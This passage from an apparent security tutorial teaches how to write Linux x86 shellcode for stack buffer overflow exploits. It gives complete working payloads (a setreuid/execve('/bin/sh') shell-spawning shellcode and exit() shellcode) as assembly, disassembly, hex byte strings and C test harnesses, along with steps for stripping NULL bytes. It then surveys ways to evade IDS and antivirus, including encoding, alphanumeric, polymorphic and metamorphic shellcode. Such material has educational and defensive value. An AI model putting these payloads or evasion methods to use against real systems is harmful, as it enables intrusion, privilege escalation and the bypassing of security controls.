You also can create a payload that loop and wait for commands from the attacker.  The attacker could issue a command to the payload to create new connection, upload/download file or spawn another shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker such as in multistage exploits and the (Distributed) Denial of Service (DDOS/DOS). Regardless whether a payload is spawning a shell or loop to wait for instructions; it still needs to communicate with the attacker, locally or remotely.  There are so many things that can be done.


Shellcode elements



This section will limit the discussion of the payload used to exploit stack based buffer overflows in binary, machine-readable program.  In this program, the shellcode must also be machine-readable.  The shellcode cannot contain any null bytes (0x00).  Null (‘\0’) is a string delimiter which instructs all C string functions (and other similar implementations), once found, will stop processing the string (a null-terminated string).  Depending on the platform used, not just the NULL byte, there are other delimiters such as linefeed (LF-0x0A), carriage return (CR-0x0D), backslash ( \ ) and NOP (No Operation) instruction that must also be considered when creating a workable shellcode.  In the best situations the shellcode may only contain alphanumeric characters.  Fortunately, there are several programs called Encoder that can be used to eliminate the NULL and other delimiter characters.

In order to be able to generate machine code that really works, you have to write the assembly code differently, but still have it serve its purpose. You need to do some tricks here and there to produce the same result as the optimal machine code.

Since it’s important that the shellcode should be as small as possible, the shellcode writer usually writes the code in the assembly language, then extracting the opcodes in the hexadecimal format and finally using the code in a program as string variables. Reliable standard libraries are not available for shellcodes; we usually have to use the kernel syscalls (system call) of the operating system directly.  Shellcode also is OS and architecture dependent.  Workable shellcode also must consider bypassing the network system protection such as firewall and Intrusion Detection System (IDS).


Creating a shellcode: Making the code portable


Writing shellcode is slightly different from writing normal assembly code and the main one is the portability issue.  Since we do not know which address we are at, it is not possible to access our data and even more impossible to hardcode a memory address directly in our program.  We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time.  Although this is a significant disadvantage, there are always workarounds for this issue.  The easiest way is to use a string or data in the shellcode as shown in the following simple example.

    .section .data

    #only use register here...

    

    .section .text

    

    .globl _start

    

    jmp      dummy

    

    _start:

             #pop register, so we know the string location

             #Here we have assembly instructions which will use the string

    

    dummy:

             call     _start

    

    .string "Simple String"

What is occurring in this code is that we jmp to the label dummy and then from there call _start label. Once we are at the _start label, we can pop a register which will cause that register to contain the location of our string.  CALL is used because it will automatically store the return address on the stack.  As discussed before, the return address is the address of the next 4 bytes after the CALL instruction.  By placing a variable right behind the call, we indirectly push its address on the stack without having to know it.  This is a very useful trick when we do not know where is our code will be executed from.  The code arrangement example using C can be illustrated as the following.



Example:

    void main(int argc, char **argv)

    {

       char *name[2];

       name[0] = "/bin/sh";

       name[1] = NULL;

    

       /*int execve(char *file, char *argv[], char *env[ ])*/

       execve(name[0], name, NULL);

       exit(0);

    }

Registers usage:

    EAX: 0xb – syscall number.

    EBX: Address of program name (address of name[0]).

    ECX: Address of null-terminated argument-vector, argv (address of name).

    EDX: Address of null-terminated environment-vector, env/enp (NULL).



In this program, we need:

    String /bin/sh somewhere in memory.

    An Address of the string.

    String /bin/sh followed by a NULL somewhere in memory.

    An Address of address of string.

    NULL somewhere in memory.



To determine address of string we can make use of instructions using relative addressing.  We know that call instruction saves EIP on the stack and jumps to the function so:

    Use jmp instruction at the beginning of shell code to CALL instruction.

    call instruction right before /bin/sh string.

    call jumps back to the first instruction after jump.

    Now the address of /bin/sh should be on the stack.



A trick to determine the address of string

Figure 1: A trick to determine the address of string.



If you are going to write code more complex than just spawning a simple shell, you can put more than one .string behind the CALL.  Here, you know the size of those strings and can therefore calculate their relative locations once you know where the first string is located. With this knowledge, let’s try creating a simple shellcode that spawn a shell.  The main points here are the similar process and steps that can be followed to create shellcodes.  The following is a simple program example to spawn a shell in assembly (AT&T/Linux).

    #assembly (AT&T/Linux) for spawning a shell

    ####### testshell2.s ############

    

    .section .data

    .section .text

    .globl _start

    

    _start:

             xor %eax, %eax            #clear register

             mov $70, %al              #setreuid is syscall 70

             xor %ebx, %ebx            #clear register, empty

             xor %ecx, %ecx            #clear register, empty

             int $0x80                 #interrupt 0x80

    

             jmp ender

    

    starter:

             popl %ebx                 #get the address of the string, in %ebx

             xor  %eax, %eax           #clear register

             mov  %al, 0x07(%ebx)      #put a NULL where the N is in the string

             movl %ebx, 0x08(%ebx)     #put the address of the string to where the AAAA is

             movl %eax, 0x0c(%ebx)     #put 4 null bytes into where the BBBB is

             mov $11, %al              #execve is syscall 11

             lea 0x08(%ebx), %ecx      #load the address of where the AAAA was

             lea 0x0c(%ebx), %edx      #load the address of the NULLS

             int $0x80                 #call the kernel

    

    ender:

             call starter

           .string "/bin/shNAAAABBBB" #16 bytes of string...



Basically, before the call starter the memory arrangement should be something like this (Little Endian):



Memory arrangement for our shellcode

Figure 2: Memory arrangement for our assembly code.



When the starter: portion is executed the memory arrangement should be something like this:



Memory arrangement for our shellcode

Where:

a
   

- Address of the string



Figure 3: Memory arrangement for our shellcode.







































Let compile and link the program and then disassemble it to get the equivalent hexadecimal opcodes.

    [bodo@lethalcode testbed8]$ as testshell2.s -o testshell2.o

    [bodo@lethalcode testbed8]$ ld testshell2.o -o testshell2

    [bodo@lethalcode testbed8]$ objdump -d testshell2

    

    testshell2:     file format elf32-i386

    

    Disassembly of section .text:

    

    08048074 <_start>:

     8048074:       31 c0      xor     %eax, %eax

     8048076:       b0 46      mov     $0x46, %al

     8048078:       31 db      xor     %ebx, %ebx

     804807a:       31 c9      xor     %ecx, %ecx

     804807c:       eb 16      jmp     8048094

    

    0804807e :

     804807e:       5b         pop     %ebx

     804807f:       31 c0      xor     %eax, %eax

     8048081:       88 43 07   mov     %al, 0x7(%ebx)

     8048084:       89 5b 08   mov     %ebx, 0x8(%ebx)

     8048087:       89 43 0c   mov     %eax, 0xc(%ebx)

     804808a:       b0 0b      mov     $0xb, %al

     804808c:       8d 4b 08   lea     0x8(%ebx), %ecx

     804808f:       8d 53 0c   lea     0xc(%ebx), %edx

     8048092:       cd 80      int     $0x80

    

    08048094 :

     8048094:       e8 e5 ff ff ff    call   804807e

     8048099:       2f                das

     804809a:       62 69 6e          bound  %ebp, 0x6e(%ecx)

     804809d:       2f                das

     804809e:       73 68             jae    8048108

     80480a0:       4e                dec    %esi

     80480a1:       41                inc    %ecx

     80480a2:       41                inc    %ecx

     80480a3:       41                inc    %ecx

     80480a4:       41                inc    %ecx

     80480a5:       42                inc    %edx

     80480a6:       42                inc    %edx

     80480a7:       42                inc    %edx

     80480a8:       42                inc    %edx

     ...

Next, arrange the hexadecimal opcodes in char type array (C string).

    char code[ ] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"

                   "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"

                   "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"

                   "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"

                   "\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";

Finally insert the shellcode into our test program, compile and run.

    /*test.c*/

    #include

    

    char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"

                  "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"

                  "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"

                  "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"

                  "\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";

    

    int main(int argc, char **argv)

    {

    /*creating a function pointer*/

    int (*func)();

    func = (int (*)()) code;

    (int)(*func)();

    }

    

    [bodo@lethalcode testbed8]$ gcc -g test.c -o test

    [bodo@lethalcode testbed8]$ execstack -s test

    [bodo@lethalcode testbed8]$ ./test

    sh-3.00$



Well it works.  Now, let try another example by using a simple C program.  In this example we are using system call for exit(0), that is exit with no error and the program is shown below.

    /* exit.c */

    #include

    

    int main()

    {

      exit(0);

    }

Do some verification.

    [bodo@lethalcode testbed7]$ gcc -g exit.c -o exit

    [bodo@lethalcode testbed7]$ execstack -s exit

    [bodo@lethalcode testbed7]$ ./exit

    [bodo@lethalcode testbed7]$ echo $?

    0

    [bodo@lethalcode testbed7]$

Another verification.

    #include

    

    int main()

    {

       exit(1);

    }

    

    [bodo@lethalcode testbed7]$ gcc -g exit.c -o exit

    [bodo@lethalcode testbed7]$ execstack -s exit

    [bodo@lethalcode testbed7]$ ./exit

    [bodo@lethalcode testbed7]$ echo $?

    1



The first thing we need to know is the Linux system call for exit() and that can be found in unistd.h. System call is the services provided by Linux kernel and just like API’s in Windows, you call them with different arguments. In C programming, it often uses functions defined in libc which provides a wrapper for many system calls. Linux manual page of section 2 provides more information about system calls. To get an overview, try using “man 2” at the command shell. It is also possible to invoke syscall() function directly. Each system call has a function number defined in or . Internally, system call is invoked by software interrupt 0x80 to transfer control to the kernel. System call table is defined in Linux kernel source file “arch/i386/kernel/entry.S ”.

For our example we need just one system call and that is exit() (terminate the current process and exit with exit code) and its system call number is 1 and the argument is 0, (0 means the program exit normally, non-zero means program exit with an error).  They will be stored in eax, ebx registers respectively.  With this knowledge, let create the program in assembly.

    ######testshell.s#######

    #assembly code for exit() system call, AT&T/Linux

    

    .section .data

    .section .text

    

    .globl _start

    

    jmp dummy

    

    _start:

    

    popl %ebx            #gets the "X" address

    xor %eax, %eax       #clear the eax register

    mov %eax, 0x01(%ebx) #move NULL to the end of the "X"

    mov $1, %eax         #move 1 into %eax

    mov $0, %ebx         #move 0 into %ebx

    int $0x80            #interupt 0x80

    dummy:

    call _start

    .string "X"

Then compile and link this assembly program and next, disassemble the executable.



    [bodo@lethalcode testbed7]$ as testshell.s -o testshell.o

    [bodo@lethalcode testbed7]$ ld testshell.o -o testshell

    [bodo@lethalcode testbed7]$ objdump -d testshell

    

    testshell:     file format elf32-i386

    

    Disassembly of section .text:

    

    08048074 <_start-0x2>:

     8048074:       eb 12             jmp    8048088

    

    08048076 <_start>:

     8048076:       5b                pop    %ebx

     8048077:       31 c0             xor    %eax, %eax

     8048079:       89 43 01          mov    %eax, 0x1(%ebx)

     804807c:       b8 01 00 00 00    mov    $0x1, %eax

     8048081:       bb 00 00 00 00    mov    $0x0, %ebx

     8048086:       cd 80             int    $0x80

    

    08048088 :

     8048088:       e8 e9 ff ff ff    call   8048076 <_start>

     804808d:       58                pop    %eax

            ...































Extract the shellcode; rearrange the hex in char string format.  And each set of hexadecimal value represents our assembly instruction.  Using hexadecimal values we can put any ASCII value in the range of 0-255 in one byte.

    \xeb\x12\x5b\x31\xc0\x89\x43\x01\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd

    \x80\xe8\xe9\xff\xff\xff\x58

Eliminating the NULL Bytes



Unfortunately in our shellcode, there are NULL bytes and operand.  Placing small values into larger registers is the most common error which produced NULL bytes in shellcode programming.  In this example we move the 8 bits value $1 (a byte) into the 32-bit %eax register.  This will cause our shellcode to produce three NULL bytes.  It is better always use the smallest register when inserting or moving a value in shell coding.  For NULL bytes, we can easily remove them by taking an 8-bit register instead of 32 bits.  So replace the %eax to %al, change the mov to movb.

    ######testshell.s#######

    #assembly code for exit() system call, AT&T/Linux

    

    .section .data

    .section .text

    

    .globl _start

    

    jmp dummy

    

    _start:

    

    popl %ebx            #gets the "X" address

    xor %eax, %eax       #clear the eax register

    movb %al, 0x01(%ebx) #move NULL to the end of the "X"

    movb $1, %al         #move 1 into %eax

    mov $0, %ebx         #move 0 into %ebx

    int $0x80            #interupt 0x80

    dummy:

    call _start

    .string "X"

Again, compile and disassemble it.

    [bodo@lethalcode testbed7]$ as testshell.s -o testshell.o

    [bodo@lethalcode testbed7]$ ld testshell.o -o testshell

    [bodo@lethalcode testbed7]$ objdump -d testshell

    

    testshell:     file format elf32-i386

    

    Disassembly of section .text:

    

    08048074 <_start-0x2>:

     8048074:       eb 0f               jmp         8048085

    

    08048076 <_start>:

     8048076:       5b                  pop         %ebx

     8048077:       31 c0               xor         %eax, %eax

     8048079:       88 43 01            mov         %al, 0x1(%ebx)

     804807c:       b0 01               mov         $0x1, %al

     804807e:       bb 00 00 00 00      mov         $0x0, %ebx

     8048083:       cd 80               int         $0x80

    

    08048085 :

     8048085:       e8 ec ff ff ff      call        8048076 <_start>

     804808a:       58                  pop         %eax

            ...

Rearrange the shellcode.

    \xeb\x0f\x5b\x31\xc0\x88\x43\x01\xb0\x01\xbb\x00\x00\x00\x00\xcd\x80\xe8\xec\xff\xff\xff\x58

Well, we still have NULL bytes here.  It is caused by the mov operand.  When we want the ebx to represent a 0 value instead of NULL we can exclusive ORing the same register as shown below:

    xor %ebx, %ebx

And the result will be empty %eax instead of NULL.  Keep in mind that 0 and NULL values mean differently.  Let replace the mov $0x0, %ebx to xor %ebx, %ebx.

    ######testshell.s#######

    #assembly code for exit() system call, AT&T/Linux

    

    .section .data

    .section .text

    

    .globl _start

    

    jmp dummy

    

    _start:

    

    popl %ebx            #gets the "X" address

    xor %eax, %eax       #clear the eax register

    movb %al, 0x01(%ebx) #move NULL to the end of the "X"

    movb $1, %al         #move 1 into %eax

    xor %ebx, %ebx       #move 0 into %ebx

    int $0x80            #interupt 0x80

    dummy:

    call _start

    .string "X"

Recompile and re-link.  Disassemble the program.

    [bodo@lethalcode testbed7]$ ld testshell.o -o testshell

    [bodo@lethalcode testbed7]$ objdump -d testshell

    

    testshell:     file format elf32-i386

    

    Disassembly of section .text:

    

    08048074 <_start-0x2>:

     8048074:       eb 0c               jmp         8048082

    

    08048076 <_start>:

     8048076:       5b                  pop         %ebx

     8048077:       31 c0               xor         %eax, %eax

     8048079:       88 43 01            mov         %al, 0x1(%ebx)

     804807c:       b0 01               mov         $0x1, %al

     804807e:       31 db               xor         %ebx, %ebx

     8048080:       cd 80               int         $0x80

    

    08048082 :

     8048082:       e8 ef ff ff ff      call        8048076 <_start>

     8048087:       58                  pop         %eax

            ...

Rearrange the shellcode.

    \xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\x31\xdb\xcd\x80\xe8\xef\xff\xff\xff\x58

Now we don’t have NULL byte anymore.  So let test our shellcode.

    /*test.c*/

    #include

    

    char testshcode[ ]="\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\x31"

    "\xdb\xcd\x80\xe8\xef\xff\xff\xff\x58";

    

    int main(int argc, char *argv[])

    {

    /*function pointer*/

    int (*funct)();

    funct = (int(*)())testshcode;

    (int)(*funct)();

    return 0;

    }

Compile and run the program.

    [bodo@lethalcode testbed7]$ gcc -g test.c -o test

    [bodo@lethalcode testbed7]$ execstack -s test

    [bodo@lethalcode testbed7]$ ./test

    [bodo@lethalcode testbed7]$ echo $?

    0

Well, it works. For exit(1), change the following assembly code:

    xor  %ebx, %ebx

To

    movb $1, %bl

Recompile and re-link the assembly program.  Disassemble it, only three bytes change.  The following is the shellcode.

    \xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\xb3\x01\xcd\x80\xe8\xef\xff\xff\xff\x58

Then replace the shellcode in the test.c program.  Recompile and rerun the program.

    [bodo@lethalcode testbed7]$ gcc -g test.c -o test

    [bodo@lethalcode testbed7]$ execstack -s test

    [bodo@lethalcode testbed7]$ ./test

    [bodo@lethalcode testbed7]$ echo $?

    1

Well, we have verified that our shellcode is functioning and you can see that a shellcode is a group of instructions which can be executed while another program is running.

Fortunately, there are sites that provide readily available shellcodes for various types of exploits and platforms.  There are also programs that can be used to generate shellcodes that suit to our need.  So don’t mess up yourself!  Check out the links at the end of this Module.


























More Advanced Techniques



In the real situations, network system has many detection and filtering modules or devices such as firewall, anti-virus and IDS.  Most of the basic shellcodes construct will fail when going through these systems.  But the shellcodes development not static as well.  In this section we will try to review some of the advanced techniques used in the development of the shellcodes in order to evade various normalization and signature based security systems that they encounter along the path to the target application and make the codes stealthy.  These techniques include:

    Utilizing readily available system resources.

    Alphanumeric shellcode.

    Encrypt the shellcode.

    Polymorphic shellcodes.

    Metamorphic shellcode.


Utilizing System Resources



Exploits may fully utilize the resources provided by the target to fully mimic the normal application behavior.  For example the exploit may use the targets protocol support and added features to disguise their payloads, including encoding, compression, and encryption.  If the target supports any transport compression for example, the payload may be compressed in the stream and decompressed by the server before the vulnerable condition is triggered.  The exploit examples include file format vulnerabilities and media-based protocols server vulnerabilities.  Many protocol server implementations offer encoding schemes to support data types that require more than the real data. Simple authorization mechanisms that do not use encryption will most likely use simple encoding schemes such as Unicode (UTF) and Base64.  If the target offers any form of encryption, the payload may also use that medium instead of the clear text transport medium, and will most likely sneak by the majority of IDS systems such as file format vulnerabilities.  The most widely used may be the social engineering techniques that send an encrypted and compressed exploit as an email attachment1which the email itself looks perfectly legitimate.


Alphanumeric



This method can be used to create exploit code using only printable ASCII characters. In general an alphanumeric code is a series of letters and numbers (hence the name) which are written in a form understandable and processable by a computer. For example, one such alphanumeric code is ASCII. More specifically, in an exploit code terminology alphanumeric code is machine code that is written so that it assembles into entirely readable ASCII-letters such as "a"-"z", "A"-"Z", "1"-"9", "#", "!", "@", and so on. This is possible to do with a very good understanding of the assembly language for the specific computer platform that the code is intended for. This code is used in shellcodes with the intent of fooling applications, such as Web forms, into accepting valid and legal code used for exploit.


Encryption



In cryptography, encryption is the process of obscuring information to make it unreadable without certain knowledge of how to decrypt. While encryption has been used to protect communications for centuries, only organizations and individuals with an extraordinary need for secrecy have made use of it. In the mid-1970s, strong encryption emerged from the sole preserve of secretive government agencies into the public domain, and is now employed in protecting widely-used systems, such as Internet e-commerce, mobile telephone networks and bank Automatic Teller Machines data communication.  Nowadays a common use of the encryption protocols are ssl and ssh. Another consideration is protection against traffic analysis.

In exploit world the encryption provided by encoder, in simplest form it tries to eliminate NULLs and other user-defined characters out of shellcode. It most basic algorithm uses a simple XOR and includes a built-in decoder routine. It is usually possible to remove NULL characters in the first place by using the right register size as explained before but it is not always the case when we consider other characters available in standard character sets such as ASCII, EBCDIC and Unicode (and their variant). There may be a need to hide some characters, maybe to avoid signature based recognition or something like that. And finally, encoding the shellcode obscures all clear-text in the shellcode nicely.


Polymorphic



In computer terminology, polymorphic code is code that mutates while keeping the original algorithm intact.  It is self-modifying codes.  Historically, polymorphic code was invented in 1992 by the Bulgarian cracker Dark Avenger (a pseudonym) as a means of avoiding pattern recognition from antivirus-software.

This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence. Most anti virus-software and intrusion detection systems attempt to locate malicious code by searching through computer files and data packets sent over a computer network. If the security software finds patterns that correspond to known computer viruses, worms or exploit codes, it takes appropriate steps to neutralize the threat. Polymorphic algorithms make it difficult for such software to locate the offending code as it constantly mutates.

Encryption is the most commonly used method of achieving polymorphism in code. However, not all of the code can be encrypted as it would be completely unusable. A small portion of it is left unencrypted and used to jumpstart the encrypted software. Anti-virus software targets this small unencrypted portion of code.

Malicious programmers have sought to protect their polymorphic code from this strategy by rewriting the unencrypted decryption engine each time the virus or worm is propagated. Sophisticated pattern analysis is used by anti-virus software to find underlying patterns within the different mutations of the decryption engine in hopes of reliably detecting such malware. As an example, ADMutate program was released by Ktwo.  ADMutate designed to defeat IDS signature checking by altering the appearance of buffer overflow exploits.  This technique actually borrowed from virus writers.  The mutation engine contains the following components:

    NOP substituted is with operationally inert commands.  For example, Intel Architecture has more than 50 NOP equivalent instructions.

    Shell code is encoded by XORing with a randomly generated key.

    Return address is modulated. Least significant byte altered to jump into different parts of NOPs.



And the decode Engine:

    Need to decode the XOR’ed shellcode.

    Engine is also polymorphic that is by varying the assembly instructions to accomplish the same results in different ways and out of order decoding to vary the signature even more.


Metamorphic code



This is a more powerful and technically skillful level of polymorphism.  In computer virus terms, metamorphic code is a code that can reprogram itself. Often, it does this by translating its own code into a temporary pseudo-code, and then back to normal code again. This is used by some viruses when they are about to infect new files, and the result is that their "children" or "clone" will never look like them selves. The computer viruses that use this technique do this in order to avoid the pattern recognition of the anti virus-software where the actual algorithm does not change but everything else might.

Metamorphic code is more effective than polymorphic code. This is because most anti virus-software will try to search for known virus-code even during the execution of the code. Metamorphic code can also mean that a virus is capable of infecting executables from two or more different operating systems (such as Windows and Linux) or even different computer architectures. Often, the virus does this by carrying several viruses with itself, so it is really a matter of several viruses that has been 'combined' together into a "supervirus".  Similar to the polymorphic, metamorphic also use encoder and decoder. Worms and virii have used morphing engines for decades to evade signature based Anti Virus systems. This same techniques used in exploit codes that can be used to evade other simple signature-based security systems, such as Intrusion Detection Systems.

~ vendredi 30 septembre 2011 0 commentaires